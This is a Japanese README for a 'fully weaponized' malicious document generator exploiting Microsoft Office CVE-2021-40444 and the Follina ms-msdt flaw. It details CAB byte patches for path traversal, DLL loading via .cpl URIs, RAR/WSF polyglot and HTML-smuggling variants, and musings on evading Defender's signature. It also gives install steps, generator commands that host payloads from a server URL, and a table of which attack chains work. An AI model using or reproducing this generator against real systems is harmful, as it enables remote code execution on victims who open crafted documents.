
CVE-2021-40444 - 完全武器化された Microsoft Office Word RCE エクスプロイト
CVE-2021-40444(Microsoft Office Word リモートコード実行)を悪用する悪意のあるdocxジェネレーター。任意のDLLファイルで動作します。
現在、このジェネレーターは「Follina」攻撃(ms-msdtを活用)を悪用するために必要な文書も生成できます。
多くのPoCがすでにインターネットに出回っていますが、私はこの脆弱性の武器化に挑戦しようと思いました。なぜなら、私が見つけたものは共有する価値のある情報が不足していたからです。また、Microsoftはすでにこの脆弱性のパッチをリリースしていることも考慮しました。
これまでに、完全に動作するジェネレーターを作成するための貴重なリソースは次のとおりです。
上記のリソースは、完全なチェーンを作成するために必要な多くの要件を概説しています。不必要な情報を繰り返さないために、関連する詳細のみを要約します。
このエクスプロイトを動作させるためには、かなり見落とされがちな要件があり、lockedbyteによる優れたPoCでさえ正しく動作しなかった原因となっています。
おそらく、脆弱性がさらに悪用されるのを防ぐために、誰も明示的に「公開」しなかったのでしょう。しかし、現在はパッチが適用されているため、詳細を公開しても大きな問題にはならないはずです。
Will Dormannのこのツイートによると、MS Word内で「プレビュー」をトリガーするためには、HTMLのサイズが少なくとも4096バイトである必要があります。
CABファイルは、抽出エラーを回避し、ZipSlipを達成するためにバイトパッチを適用する必要があります。
filename.inf は ../filename.inf になるべきfilename.inf coffCabStart を修正することCFFOLDER.typeCompress CFFOLDER.coffCabStart は3増加させるべき('../' が追加されたため)CFFOLDER.cCfData CFFILE.cbFile は CFHEADER.cbCabinet 全体よりも大きくなければならないCFDATA.csum これらの制約の理由は多岐にわたりますが、すべてを深く理解するための十分な時間を費やしていません。しかし、最も重要なものを見てみましょう。
注意1: Defenderは現在、_IMAGE_DOS_HEADER.e_magic 値を署名として使用してCABファイルにPEが含まれているかどうかを検出し、PEファイルがCABに埋め込まれるのを潜在的に防ぎます。この署名は回避できるでしょうか?確かではありませんが、前述のとおり、これはパッチが適用された脆弱性であるため、これ以上多くの時間を費やす予定はありません。好奇心旺盛な読者がさらに発展させることを期待します。
注意2: Microsoftのパッチは、ブラックリスト方式を使用して任意のURIスキームをブロックしています(これは推測です)。
CVE-2021-40444に関連する主な攻撃チェーンは、.cpl URIスキームを介してロードされるDLL攻撃です。これを悪用するには、攻撃者は特別に細工されたDLLを生成する必要があります。テストしたい場合は、私のevildll-genスクリプトを試してください。
Max Maluin氏が指摘したように、IEと関連するファイル拡張子ベースのURIを悪用していくつかのファイルタイプとやり取りすることが可能です。これはIEを悪用する良い方法かもしれませんが、制限があります。
実際、エクスプロイトでファイルをダウンロードするために使用される方法はActiveXコントロールの更新に基づいており、任意のファイルをダウンロードするために使用することはできません。Microsoftのドキュメントによると、codebaseタグはOCX、INF、CABの少数のファイルタイプのみを指すことができます。
OCXやINFファイルを直接ダウンロードできたとしても、システム内の正しい場所にファイルをダウンロードできるとは限りません。CABエクスプロイトを使用すると、パストラバーサルを使用して.infファイルを既知のパスに移動できますが、それ以外の場合はファイルがランダムなディレクトリに保存されるため、事実上参照できなくなります。
現時点では、CABファイルなしでダウンロードと実行を連鎖させる方法は見つかっていません。
注:IEのみに焦点を当てると、HTMLスムグリングが脆弱性を悪用する可能性のあるシナリオになる可能性があります。
この手法は、Eduardo Braun氏によりTwitterで最初に公開され、この論文でさらに詳しく説明されています。
この手法を使用する場合、攻撃チェーンは少し異なることに注意してください。この攻撃では、ユーザーが有効なWSFスクリプトと有効なRARファイルを連結して得られた特別に細工されたRARファイルをダウンロードする必要があります。開かれると、RARにはHTMLへの参照を含むDOCXが含まれ、そのHTMLがRARファイルをWSFスクリプトとしてロードしようとします。
要約すると:
このジェネレーターユーティリティは現在、以下の攻撃を再現できます。
1CABが一部の環境で正しくダウンロードされない
2ユーザーはIEでファイルをダウンロードするために「保存」をクリックする必要がある
3すべてのWindows/MS Wordバージョンで実際に動作するわけではない
ユーティリティ cab_parser.py はエクスプロイトファイルのヘッダーを表示するために使用できますが、完全なパーサーとは考えないでください。これは、何が起こっているのかを理解するために私が開発した非常に簡易的なCABヘッダービューアです。
このジェネレーターはmakecabユーティリティを使用するため、Windowsで動作するように設計されています。使用前に、必要な依存関係をインストールしてください。
git clone https://github.com/klezVirus/CVE-2021-40444
cd CVE-2021-40444
pip install virtualenv
python -m virtualenv venv
venv\Scripts\activate.bat
pip install -r requirements
git clone https://github.com/klezVirus/CVE-2021-40444
cd CVE-2021-40444
pip install -r requirements
このジェネレーターの使用は簡単ですが、さまざまなペイロードやWindowsバージョンでテストされていますが、完全に信頼できるわけではありません。異なるWindowsビルド間で異なる動作に遭遇しています。共有できる詳細がわかり次第、ここに投稿します。
usage: generator.py [-h] -P PAYLOAD -u URL [-o OUTPUT] [--host] [-c COPY_TO] [-nc] [-t]
[%] CVE-2021-40444 - MS Office Word RCE Exploit [%]
optional arguments:
-h, --help show this help message and exit
-P PAYLOAD, --payload PAYLOAD
DLL payload to use for the exploit
-u URL, --url URL Server URL for malicious references (CAB->INF)
-o OUTPUT, --output OUTPUT
Output files basename (no extension)
--host If set, will host the payload after creation
-c COPY_TO, --copy-to COPY_TO
Copy payload to an alternate path
-nc, --no-cab Use the CAB-less version of the exploit
-t, --test Open IExplorer to test the final HTML file
python generator.py -u http://127.0.0.1 -P test\calc.dll --host
注:ポートはURLによって選択され、エクスプロイトはペイロードファイルの拡張子に基づいて生成されます
python generator.py -u http://127.0.0.1 -P test\job-jscript.wsf --no-cab --host -t
python generator.py -u http://127.0.0.1 -P test\calc.js --no-cab --host -t
python generator.py -u http://127.0.0.1 -P test\calc.ps1 --no-cab --host --convert
| 攻撃 | HTMLテンプレート | ターゲット | 配信方法 | 実行方法 | 動作 |
|---|
| 攻撃のオリジナルバージョン | cab-orig-* | WORD | DOCX | CAB + DLL | はい |
| j00seanのIE専用攻撃 | cab-orig-j00san | IE | HTML | CAB + DLL | はい |
| DLLなしの私のバージョン | cab-uri-* | WORD | DOCX | CAB + JS/VBS | いいえ1 |
| Eduardo B.のRARを使用した「CABレス」攻撃 | cabless-rar-* | WORD | RAR | WSF | はい |
| 修正版j00sean攻撃 + HTMLスムグリング | cabless-smuggling-* | IE | HTML | JS/VBS | はい2 |
| Follina攻撃 | cabless-msdt-* | WORD | DOCX/RTF | MSDT + PS | はい3 |